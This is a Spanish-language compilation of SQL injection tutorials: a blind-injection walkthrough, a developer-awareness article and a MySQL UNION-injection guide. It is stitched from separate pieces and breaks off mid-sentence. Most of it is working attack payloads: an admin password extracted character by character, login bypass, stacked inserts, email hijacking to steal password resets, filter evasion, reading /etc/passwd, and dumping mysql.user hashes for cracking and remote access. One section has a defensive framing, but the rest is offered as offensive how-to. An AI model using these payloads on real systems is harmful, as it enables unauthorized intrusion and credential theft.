AND (SELECT(COUNT(*)) FROM admin) < 7 Menos de 7 admines

AND (SELECT(COUNT(*)) FROM admin) = 7 Hay 7 admines

En mi caso me dio Verdadero el Segundo caso Hay menos de 7 admines.

Sigo probando bajando la cantidad, hasta que finalmente puedo adivinar cuantos registros hay. En este caso solo hay 1 solo admin. Si coloco:

AND (SELECT(COUNT(*)) FROM admin) = 1 Me dar Verdadero

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde name ser el nombre de la columna que intento adivinar

Falso Despus de probar varias veces, llegue a que el nombre de una de las columnas se llama user

Ahora deberamos seguir probando, hasta dar con el nombre de la columna de la tabla que contiene las contraseas, ids, entre otras que pueden ser de valor para nosotros... Despus de

probar con varios nombres como password, passwords, clave, etc llegue al punto en que me dio verdadero al colocar pass y tambin al colocar cod

AND (SELECT(COUNT(pass)) FROM admin) AND (SELECT(COUNT(cod)) FROM admin)

Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o cdigo, usuario y contrasea. Ahora veremos como saber que longitud tiene el usuario y la contrasea, esto lo hacemos para saber cuantos caracteres tiene el user y la pass. Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

Explico la lnea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user. En donde el cod sea 1. Traducido de forma ms fcil, lo que hace esta lnea es ver si el usuario tiene menos de 7 caracteres. Y en este caso me da falso

Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) > 7

Para saber si la contrasea tiene ms de 7 caracteres, y nuevamente me da falso esto quiere decir solo una cosa que la contrasea tiene 7 caracteres. Asique probare poniendo:

AND (SELECT length(user) FROM admin where cod=1) = 7

Y como se puede ver VERDADERO!!

Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restara ver cuantos caracteres tiene la contrasea La inyeccin es la misma que la que usamos, solo que modificamos user por pass En mi caso, me dio verdadero que esta inyeccin:

AND (SELECT length(pass) FROM admin where cod=1) = 7 Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno. Para ello se utiliza la siguiente inyeccin.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la linea, lo que hace esta inyeccin es verificar si la primer letra del usuario empieza con a. En dnde me fijo esto? En la siguiente tabla:

Ah vemos que el 97 corresponde a la letra a. Seguimos probando, hasta que nos d Verdadero. Despus de probar un rato, llegue a que comienza con G

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71

Para pasar al segundo carcter del usuario, debemos cambiar el ,1,1 por ,2,1 Esto sera como decir, el segundo carcter del primer registro. En mi caso me dio verdadero al probar con la letra r

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo pero con la contrasea modificando el user por pass por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando carcter por carcter, hasta volver a obtener todos, Recuerden ir cambiando el ,1,1 por la posicin que desean comprobar. Una vez que finalicen, tendrn el usuario y la contrasea. En mi caso:

User: Gregory Pass: geg*12a

Ahora si buscamos el panel de admin y probamos los datos:

Y Estamos adentrooo!!

Ataques SQL Injection

Como desarrolladores tenemos una gran responsabilidad sobre la seguridad de las aplicaciones en las que participamos y creo que no pensamos en ello (yo incluido) con la debida frecuencia o el debido respeto. Permitirme que me ponga un poco drstico. Cuando desarrollamos una aplicacin sobre nminas, una aplicacin sobre informes mdicos, o cualquier otro tipo de informacin sensible, lo que est en juego no es solo la integridad de la aplicacin, detrs hay usuarios, hay vidas de personas.

Mi intencin al escribir este artculo no es ensearos nada nuevo sobre el tema, hay mucho escrito en internet y en libros sobre SQL Injection. El propsito de este artculo es que como desarrolladores tomemos conciencia de esta responsabilidad y por otro lado conocer los conceptos bsicos de este tipo de ataques. Estoy seguro que el lector, el que ms o el que menos, conoce los peligros de un ataque por inyeccin de SQL. De hecho, la organizacin OWASP (Open Web Application Security Project) coloca esta vulnerabilidad la primera de la lista en su Top 10 de riesgos en aplicaciones web. Las vulnerabilidades por inyeccin de SQL se caracterizan por tener un vector de ataque muy sencillo, el atacante simplemente enva texto a un intrprete. As mismo es una vulnerabilidad frecuente y dependiendo de los casos, no es difcil detectarla. La ltima caracterstica a mencionar es que tienen un impacto muy grande en las aplicaciones atacadas.

Tal y como se aprecia en la tabla anterior (Risk Rating Methodology) los ataques por inyeccin no solo afectan a las consultas de SQL. Tambin pueden ser atacadas por inyeccin las consultas LDAP (Lightweight Directory Access Protocol), XPATH o comandos del sistema operativo entre otros. En este artculo centraremos nuestro inters en los ataques por inyeccin de SQL. Introduccin

En primer lugar, hablaremos de algunas versiones con las que se puede ejecutar este tipo de ataque, la mejor forma de vacunarse es sin duda el conocimiento, comprender cmo y porque es posible este tipo de debilidad en nuestras aplicaciones. Anteriormente adelantamos que el vector de ataque sobre esta vulnerabilidad consiste en enviar un simple texto al intrprete de SQL. Es decir, todo dato, y repito otra vez, todo dato enviado a nuestra aplicacin por un usuario, ya sea este humano o electrnico, es susceptible de contener cdigo SQL que podra modificar el comportamiento esperado de nuestra aplicacin. Por lo tanto, cualquier informacin que nuestra aplicacin est esperando desde fuera, debe tomarse como potencialmente peligrosa.

Para los ejemplos de cdigo de inyeccin de SQL que vamos a ver a continuacin, tomaremos como ejemplo el tpico formulario de login que el usuario malintencionado podra usar como un posible punto de entrada a nuestra aplicacin. Por lo tanto, los datos o informacin potencialmente peligrosa en este escenario, sern tanto el email del usuario como la contrasea.

Como es lgico, y por motivos puramente pedaggicos, para todos los ejemplos que veremos a continuacin se ha supuesto que en la capa de acceso a datos existe un cdigo de servidor que no previene contra este tipo de ataques. Podra ser algo parecido a lo mostrado a continuacin. ? 1 string query = "SELECT * FROM Employees WHERE Email = " 2 3 4 5
using (var conn = new SqlConnection(ConnString)) + "'" + email + "'" + " AND [Password] = " + "'" + pass + "';";

6 7 8 9

{ using (var cmd = new SqlCommand(query, conn)) { cmd.CommandType = CommandType.Text;

10 11 12 13 14 15

conn.Open();

using (var reader = cmd.ExecuteReader()) { while (reader.Read()) { // etc...

16 17 18 19 20} 21 22
} }

} reader.Close();

En este caso, la consulta ejecutada en la base de datos tendra el siguiente aspecto.


? 1
SELECT * FROM Employees WHERE Email = 'NombreEmpleado' and [Password] = 'ContraseaEmpleado';

Seguidamente comprobaremos las diferentes vas que podran utilizarse desde fuera de nuestra aplicacin para modificar el comportamiento de esta consulta. Estis preparados para poneros en la piel del atacante?
Comprobar si es vulnerable

Una forma rpida de comprobar si una aplicacin es vulnerable a inyecciones de SQL podra ser enviar al intrprete una comillas simple ( ) para terminar la instruccin en ese momento y que todo lo dems sea cdigo no ejecutable por el intrprete de SQL y esto provoque un error. Veamos un ejemplo. Campo email = meloinvento y campo contrasea = Consulta construida:

? 1SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = ''';

La parte de la consulta que el intrprete de SQL puede entender es:


? 1SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = ''

Es decir, en esta parte se est comprobando que Email sea igual a meloinvento y que Password sea igual a , lo que es totalmente correcto gramaticalmente aunque no devolvera ningn resultado. Pero al final de la consulta todava tenemos una pequea fraccin de cdigo ; que el intrprete no puede ejecutar correctamente. Lo que sin duda provocar un error en el intrprete de SQL y por extensin en la aplicacin.

En este caso, el como la aplicacin gestione este tipo de errores es lo de menos. Si nosotros como atacantes recibimos una amigable pantalla de error, igualmente habremos conseguido nuestro propsito, averiguar si la aplicacin es susceptible de ser atacada. Introducir una instruccin siempre True

Una forma tpica de inyectar SQL en una aplicacin y que seguramente el lector ya conoce es cuando inyectamos una instruccin siempre verdadera consiguiendo que la instruccin WHERE siempre se cumpla y nos devuelva siempre resultados sin conocer los datos autnticos. Campo email = meloinvento y campo contrasea = or 1=1 Consulta construida:

? 1
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = '' or '1'='1';

Quiero llamaros la atencin aqu sobre el juego de comillas simples que se ha realizado. Comenzando nuestro cdigo malicioso con una comilla simple hemos cerrado el contenido de la variable Password, y como al terminar nuestro cdigo malicioso sin una comilla simple hemos aprovechado una comilla simple que seguramente, as lo hemos supuesto, exista ya en el cdigo de la aplicacin. De esta forma la instruccin comprueba que FirstName sea igual a meloinvento y que Password sea igual a , o que 1 sea igual 1 lo que siempre es cierto y nos permite entrar en el sistema. Nota: si la aplicacin consume datos desde MySQL bastara con incluir OR 1 x. Con esto quiero mostraros que aunque para este artculo se ha elegido SQL Server, los conceptos son los mismos para cualquier tipo de base de datos.
Con datos numricos

Hemos visto algunos sencillos ejemplos cuando las variables a atacar son de tipo alfanumrico, y como hemos podido comprobar el meollo del asunto consiste en ir jugando con las comillas simples que espera el intrprete de SQL. Pero cuando los datos son de tipo numrico, supongamos que la contrasea lo es, si no se tiene especial cuidado podemos tener total libertad para ejecutar instrucciones completas en nuestro sistema. Tambin podra ser una comprobacin por el campo ID o por cualquier otro concepto numrico. Campo email = meloinvento y campo contrasea = 00000; insert into employees (firstName, password) values (Oscar, 85493) Consulta construida:
? 1SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = 00000; 2insert into employees (email, password) values ('Oscar', 85493);

Como se puede observar realmente se han enviado dos instrucciones SQL al intrprete, una que comprueba un supuesto empleado y otra que directamente inserta un nuevo empleado en la aplicacin permitindonos tener acceso a la misma. Evidentemente este tipo de ataque es mucho ms difcil de realizar de lo que parece. Para empezar, deberamos conocer el nombre de la tabla, aunque siempre se pueden probar nombres razonables como Users, Employees, Clients, etc, veremos ms tarde como atajar este problema.

Otra dificultad aadida es que la tabla normalmente contendr ms campos que no podrn ser nulos, lo que provocar un error en la aplicacin al no poder ejecutarse correctamente la instruccin SQL. Y como siempre, dependiendo de como estn gestionados este tipo de errores, podramos recibir informacin sobre el error y poco a poco afinar con la inyeccin de SQL. Sea como sea, es algo de lo que tenemos que ser conscientes como desarolladores.
Averiguar el nmero de columnas de la tabla

Como bien sabe el lector, la instruccin ORDER BY tambin puede ser utilizada como si de un array se tratara y en lugar de pasarle el nombre de la columna podemos pasarle un valor entero con la posicin que ocupa la columna en la tabla empezando desde 1.
? 1SELECT * FROM Employees WHERE LastName = 'Gomez' ORDER BY 2

Esta consulta ordena los resultados ascendentemente por la segunda columna en la tabla. Ahora bien, podramos ir probando distintos valores (3, 4, 5, etc) y cuando la aplicacin lance un error sabremos que nos acabamos de pasar por arriba en el nmero de columnas de la tabla. Campo email = meloinvento y campo contrasea = ORDER BY 7; Consulta contruida:
? 1
SELECT * FROM Employees WHERE Email = 'meloinvento' AND [Password] = '' ORDER BY 7; --'... ;

En el caso que nos ocupa esta consulta lanzara un error del siguiente tipo.

Anteriormente ya he mencionado que no importa que no veamos esta informacin, es suficiente con que la aplicacin muestre una agradable pantalla informndonos del error, igualmente sabremos que la tabla tiene 6 columnas.

Averiguar el nombre de una columna

La idea en este caso es ir probando nombre lgicos o esperables para los nombre de las columnas en un consulta que se ejecuta satisfactoriamente, es decir, al contrario que antes, cuando no recibamos un error, sabremos que hemos acertado. Campo email = meloinvento or firstname = ; Consulta contruida:
? 1
SELECT * FROM Employees WHERE Email = 'meloinvento' or firstname = ''; --' AND [Password] = '';

Si esta consulta se ejecuta sin mostrarnos un error sabremos que hemos acertado con el nombre de la columna, en caso contrario nos tocar seguir probando otros nombres.
Averiguar el nombre de una tabla

Igual que antes probaremos distintos nombre para el nombre de la tabla y sabremos que el nombre es correcto cuando la consulta se ejecute satisfactoriamente. Campo email = meloinvento or 1 = (select count(*) from Employees); Consulta contruida:
? 1
SELECT * FROM Employees WHERE Email = 'meloinvento' or 1=(select count(*) from Employees); --' AND [Password] = '';

Fijaros en que nos importan en absoluto si la segunda condicin que hemos introducido se cumple. Nos da lo mismo si la tabla tenga 1 o 100 filas, lo que nos interesa aqu es que la consulta es gramaticalmente correcta y por lo tanto hemos dado con el nombre de una tabla. Ahora bien, de momento sabemos que en el sistema existe una tabla Employees y lo mismo podramos hacer con otras tablas si conocemos un poco el negocio de la aplicacin que estamos asaltando. Pero tambin podemos averiguar si el nombre de la tabla que hemos adivinado se est utilizando en la consulta actual. Campo email = meloinvento and employees.email is null; Consulta construida:

? 1
SELECT * FROM Employees WHERE Email = 'meloinvento' and employees.email is null; --' AND [Password] = '';

Esta forma de especificar el nombre de la columna Email en la segunda condicin, solo funciona cuando el nombre de la tabla especificado es el mismo que se utiliza despus de la clusula FROM.
Enviar la contrasea de un usuario

Es habitual que antes de comenzar ningn ataque ya conozcamos el email de algn usuario registrado en el sistema. Ya sea porque se trata de una red social y el usuario es un conocido nuestro o de nuestros conocidos. O simplemente porque en la propia aplicacin web exista en la zona de contacto uno o varios emails de usuarios adminstradores del sistema para poder contactar con ellos en caso de problemas, sugerencias o dudas. Supongamos tambin que la aplicacin web tiene el tpico enlace Si no recuerdas la contrasea haz clic aqu en la que se nos pedir un email para enviarnos la contrasea automticamente por correo electrnico. Procedamos!!. Campo email = meloinvento; update employees set email = miEmail@hacker.com where email = emailConocido@hostweb.com; Consulta contruida:
? 1
SELECT * FROM Employees WHERE Email = 'meloinvento'; update employees set email = 'miEmail@hacker.com' where email =

2'emailConocido@hostweb.com'; --' AND [Password] = '';

Ahora solo tendremos que ir al formulario donde se nos pide el email para enviarnos la contrasea e introducir el email malicioso para al de unos minutos obtener la contrasea de este usuario.
Averiguar informacin del esquema

Cambiemos un poco el escenario del crimen. Imaginaros que hemos conseguido entrar en la aplicacin con las credenciales de otro usuario/empleado. Al navegar por la aplicacin nos encontramos con una pgina donde se muestra un listado de clientes del empleado que hemos suplantado.

Como podemos observar el listado permite realizar una bsqueda por el cdigo postal del cliente que mostrar los resultados para el empleado que entr en la aplicacin. Con lo que sabemos hasta ahora (los clientes pertenecen a un empleado especfico y los clientes se buscan por cdigo postal) podramos suponer que la consulta tendra un aspecto parecido al mostrado a continuacin. ? 1
SELECT * FROM NombreTabla WHERE NombreColumna = identificadorEmpleado AND OtraColumna = 'codigoPostalCliente';

SQL Server al igual que MySQL proporciona informacin del esquema de las bases de datos por medio de la tabla de sistema INFORMATION_SCHEMA. Te recomiendo que ejecutes en cualquiera de tus bases de datos las dos consultas siguientes para que puedas observar la informacin que contienen.
? 1SELECT * FROM INFORMATION_SCHEMA.TABLES; ? 1SELECT * FROM INFORMATION_SCHEMA.COLUMNS;

Intentemos ahora averiguar el nombre de todas las tablas de la base de datos. Campo bsqueda = union select 1, 2, table_name, 4, 5, 6, 7 from information_schema.tables;

Consulta construida:
? 1
SELECT * FROM Customers WHERE EmployeeID = '6' AND PostalCode = '' union select 1, 2, table_name, 4, 5, 6, 7 from information_schema.tables;

2--';

Las consultas que usen la clausula UNION (tambin INTERSECT y EXCEPT) deben tener el mismo nmero de columnas en las dos SELECT. Por ese motivo en la segunda SELECT se han aadido los ndices ordinales de varias columnas para rellenar. Fijaros tambin que la columna que contendr los nombres de las tablas, table_name, se encuentra en 3er lugar. Hay que hacerla coincidir con una columna que admita valores de texto y hemos supuesto que las dos primeras columnas contenan identificadores y por lo tanto eran probablemente de tipo numrico. Al pulsar sobre el botn de bsqueda obtenemos la informacin esperada.

En la base de datos existen dos tablas, Employees y Customers, adems de un diagrama de base de datos. Podramos intentar hacer lo mismo con la informacin de las columnas de toda la base de datos.

Campo bsqueda = union select 1, 2, table_name, column_name, ordinal_position, data_type, is_nullable from information_schema.columns; ; Consulta construida:
?

SELECT * FROM Customers WHERE EmployeeID = '6' AND PostalCode = '' union select 1, 2, table_name, column_name, ordinal_position, data_type,

2is_nullable from information_schema.columns; --';

El resultado cuando menos es espectacular.

Por order de aparicin, de izquierda a derecha, vemos el nombre de la tabla, el nombre de la columna, el lugar que ocupa esta en la tabla, el tipo de datos que contiene la columna y si admite valores nulos. Mencionar por ltimo que el poder ver la informacin del esquema de la base de

datos depende de cmo estn configurados los permisos en el servidor de base de datos. No todos los usuarios tienen porque tener permisos para acceder a esta informacin. Comentarios Finales

Evidentemente todo lo aqu visto ha sido posible gracias a un cdigo de aplicacin escrito a propsito con poca o ninguna consideracin sobre estos temas, pero ha cumplido su cometido, que no era otro que didctico. De todas formas, las inyecciones de SQL no son como el Unicornio Blanco, son muy reales. Durante la preparacin de este artculo, el aqu presente, ha encontrado un par de webs reales susceptibles de ser atacadas con los conceptos que acabamos de estudiar. Tener en cuenta que los ataques mostrados en este artculo quizs no han sido demasiado agresivos pero igualmente se podran haber enviado sentencias para borrar registros, tablas o cualquier otra invasin relacionada con el negocio de la aplicacin. Comentar tambin que por supuesto existen tcnicas mucho ms sofisticadas de este vector de ataque, aqu hemos visto quizs las ms elementales. Espero que encontris de utilidad, o al menos interesante, el artculo y sobre todo que os haya hecho pensar en esa gran responsabilidad que tenemos como desarrolladores sobre la seguridad de nuestras aplicaciones.

Bueno, esto fue todo por ahora, espero que hayan podido entender cada uno de los pasos y que les haya resultado til para aprender la inyeccin a ciegas.

+--------------------------------------------------------+ | | | SQL injection && Blind Sql Injection | | | | Escrito por l0ve | | | +--------------------------------------------------------+ Qu es sql injection? "Inyeccin SQL es una vulnerabilidad informtica en el nivel de la validacin de las entradas a la base de datos de una aplicacin. El origen es el filtrado incorrecto de las variables utilizadas en las partes del programa con cdigo SQL. Es, de hecho, un error de una clase ms general de vulnerabilidades que puede ocurrir en cualquier lenguaje de programacin o de script que est incrustado dentro de otro. Una inyeccin SQL sucede cuando se inserta o "inyecta" un cdigo SQL "invasor" dentro de otro cdigo SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el cdigo "invasor" en la base de datos." Fuente: http://es.wikipedia.org/wiki/Inyeccin_SQL Qu vamos a ver? Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x .. aclaracin: Algunas cosas explicadas ac puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc ..

Antes de empezar vamos a repasar algunas cosas bsicas: ? enlaza la URL con los parmetros. & delimita donde termina un parmetro y donde comienza el otro. = asigna el valor. Recuerda bien Empecemos ... Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php" Cmo reconocer una vulnerabilidad sql? Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ` (``%27``) al final de la URL: http://localhost/print.php?id=332` tambin con: - parntesis ")" - "comentarios" como ``/*`` , ``--`` o "#" - palabras del lenguaje sql como "select,order by" etc .. Ejemplos: http://localhost/print.php?id=12) -http://localhost/print.php?id=12)) -http://localhost/print.php?id=12 `-http://localhost/print.php?id=12 `) -http://localhost/print.php?id=12 `)) -veamos: .

el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el otro no .. por ejemplo: Con /*:

Con --:

adems de los ejemplos anteriores se pueden usar "operadores lgicos" .. ejemplo: http://localhost/print.php?id=1 and 1=1 Y luego: http://localhost/print.php?id=1 and 1=2 vemos que al hacer la primera inyeccin la pagina se imprime normalmente ... pero al inyectar lo segundo vemos que se devuelve modificada (a veces vaca o falta algn contenido, se notara la diferencia). Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a sql injection.

No solo se puede usar "AND" existen otros operadores lgicos: 1 && 1 //Representa el AND 1 || 1 //Representa el OR 1 XOR 0 //Retorna null si alguno de ellos es null ! //Representa NOT se evala 1 si el operando es 0 y a 0 si el operando es distinto a 0.

Explorando la base de datos Vamos a averiguar el numero de columnas ... Cmo hacemos eso? Fcil!, usamos el `order by` e iremos incrementando o viceversa segn los resultados veamos. http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error ... http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error http://localhost/print.php?id=-1 order by 17/* <-------- error Cuando hay un error nos mostrara algo as: "Unknown column `17` in `order clause" Como podemos ver hay 16 columnas.

Pero hay veces que esto no es posible y tendremos que usar UNIN (Sentencia UNIN: Se usa para combinar los resultados de varias sentencias SELECT en un nico conjunto de resultados.) http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* Ah la pagina nos puede imprimir unos nmeros o tal vez puede verse que falta de algn contenido pero sabremos que la unin funciona .. tambin podemos hacer: union all select 1/* union all select 1,2/* union all select 1,2,3/* .. y as sucesivamente hasta encontrar la cantidad de columnas.

Saber la versin de mysql y entre otros datos tiles Bueno ahora analicemos la inyeccin de ms arriba .. http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/* Como pueden ver no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar cualquier numero.

Lo que hay que hacer ahora es reemplazar alguno de esos nmeros por inyecciones que nos pueden dar algunos datos del servidor (estos nmeros corresponde a una columna de la tabla). Versin: http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/ * (se pude usar @@version o version()) Ejemplo:

(se pude usar @@version o version()) Tendrs algo como "4.1.20-log" Los @@ son variables del sistema,por ejemplo podramos hacer algo como @@servename. Es importante saber la versin de MySQL ya que podra facilitarnos la inyeccin .. version() Devuelve la versin del servidor MySQL. database() Devuelve el nombre de la base de datos actual. current_user() Devuelve el nombre de usuario y el del host para el que est autentificada la conexin actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de acceso. Puede ser diferente del valor de USER(). last_insert_id() Devuelve el ltimo valor generado automticamente que fue insertado en una columna AUTO_INCREMENT. connection_id() Devuelve el ID de una conexin. Cada conexin tiene su propio y nico ID. @@datadir directorio de la db. un problema frecuente .. Por qu me dice que es ilegal, implcita etc ..? ok .. para evitarlo se hace de la siguiente forma: con la funcin convert(). http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* con hex() y unhex(): http://localhost/print.php?id=-1+union+all+select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/* aes_encrypt & aes_decrypt http://localhost/print.php?id=1+UNION+SELECT+1,2,3,aes_decrypt(aes_encrypt(user,1),1),5+from+mysql.user-COMPRESS , UNCOMPRESS

http://localhost/print.php?id=1+UNION+SELECT+1,2,3,UNCOMPRESS(COMPRESS(user)),5+from+mysql.user--

Bueno hasta ac ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .. sigamos.

Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones, pero hay varias forma de "saltarlos" por ejemplo:

http://localhost/print.php?id=1/**/union/**/all/**/select/**/1,unhex(hex(@@versin)),3,4,5,6,7,8,9,10,11,12,13,14,15,1 6/* http://localhost/print.php?id=1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versin)),3,4,5,6,7,8,9,10,11,12,13,14,1 5,16/*

Obteniendo tabla,nombre de columna y otros datos Vamos a ver como hacer al tener una versin 5 de MySQL: Para tener una lista de los privilegios podemos hacer: http://localhost/print.php?id=1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13 ,14,15,16+from+information_schema.user_privileges/* hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql). Con esto nos ahorraramos de hacer inyecciones .. si algn dato no existe en la base de datos "concat" produce un error .. y si no hay contenido larga NULL. pero todo sale muy junto? ..Cmo podemos evitar esto? Podemos pasar algn carcter a hexadecimal o usando char() (pasando el valor a ascii). http://localhost/print.php?id=1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,1 0,11,12,13,14,15,16+from+information_schema.user_privileges/*

Vemos que 0x3a es un valor en hex y representa ":" Entonces obtendremos algo as: ``primerdato:segundodato`` y no ``primerdatosegundodato`` Y as con cualquier carcter por ejemplo "=" en hexa (0x3D) Obtendramos: ``primerdato=segundodato`` Y en ascii: http://localhost/print.php?id=1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6, 7,8, 9,10,11,12,13,14,15,16+from+information_schema.user_privileges/* Ejemplo:

y ..

Como podemos ver en la segunda imagen aparece unos : (dos puntos) o con char():

como podemos ver lo separamos con ^. Nota: Para saber los valores ascii: http://www.ascii.cl/es/ o Sencillo script en perl para pasar una cadena de caracteres a HEX: Cdigo:
print "Enter string to encode:"; $str=<STDIN>;chomp $str; $enc = encode($str); print "Hex Encoded value: 0x$enc\n"; sub encode{ #Sub to encode @subvar=@_; my $sqlstr =$subvar[0]; @ASCII = unpack("C*", $sqlstr); foreach $line (@ASCII) { $encoded = sprintf(`%lx`,$line); $encoded_command .= $encoded; } return $encoded_command; }

Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto:

o aprovechar los numeros que devuelve la pgina para poner en ellos algo diferente por ejemplo:

como ven muestra la base de datos,la tabla y la columna. en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.

Bueno seguimos .. otras formas para obtener una lista de privilegios: http://localhost/print.php?id=1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Updat e_pri v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_pr iv,0x3a,P rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Al ter_priv, 0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv, 0x3a,Exe cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16 +from+m ysql.user-http://localhost/print.php?id=1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9 ,10, 11,12,13,14,15,16+FROM+information_schema.schema_privileges-http://localhost/print.php? id=1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,priv ileg e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privilege s-una lista sobre las base de datos:

http://localhost/print.php?id=1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+informati on_s chema.schemata-http://localhost/print.php?id=1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db-una lista de columnas: http://localhost/print.php? id=1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7 ,8,9, 10,11,12,13,14,15,16+FROM+information_schema.columns-Tambin se puede leer algn archivo local como "/etc/passwd": http://localhost/print.php?id=1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14, 15,1 6-El /etc/passwd esta en hex. Ejemplo:

o obtener un user y pass de la db para poder acceder remotamente a ella: http://localhost/print.php?id=1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9, 10,11,12,13,14,15,16+FROM+mysql.user-Ejemplo:

nos imprimio el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el hash (pueden usar john the ripper etc ..) y controlar si esta abierto el puerto 3306. Ejemplo:

y podernos conectar remotamente:

buscando cosas interesantes:

Nota: se puede usar cualquier cliente mysql en este caso uso la c99.

Una forma para intentar buscar nombres de columnas: Buscando algn nombre de tabla .. en este caso largo auth .. http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables where table_schema = database() Pasando valor a ascii y buscando .. http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.columns where table_name = char(97,117,116,104) and column_name like char() Pasar en ascii "%a%" quedando: http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.columns where table_name = char(97,117,116,104) and column_name like char(37,97,37) En esta inyeccin por ejemplo estaramos buscando un nombre de columna pasadas en ascii. Y ah te larga palabras y luego obtener datos Sacando dems tablas,columnas etc .. de la base: Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi: -1 union all select table_name from information_schema.tables obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no .. por ejemplo:

Como podemos ver tira todas las tablas .. en cambio en esta no:

Asi que para ver la siguiente tabla usaremos limit al final de la url ejemplo: -1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1-Ejemplo:

como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit .. -1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1-.. -1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1-etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos al menos que evitemos lo que no queremos ver ejemplo .. en mysql existen 2 base de datos una se llama information_schema y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas) pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo asi: 1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7 ,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema !=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+li mit+100,1-como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas. aparte de usar limit podriamos usar group_concat() lo que haria es largar 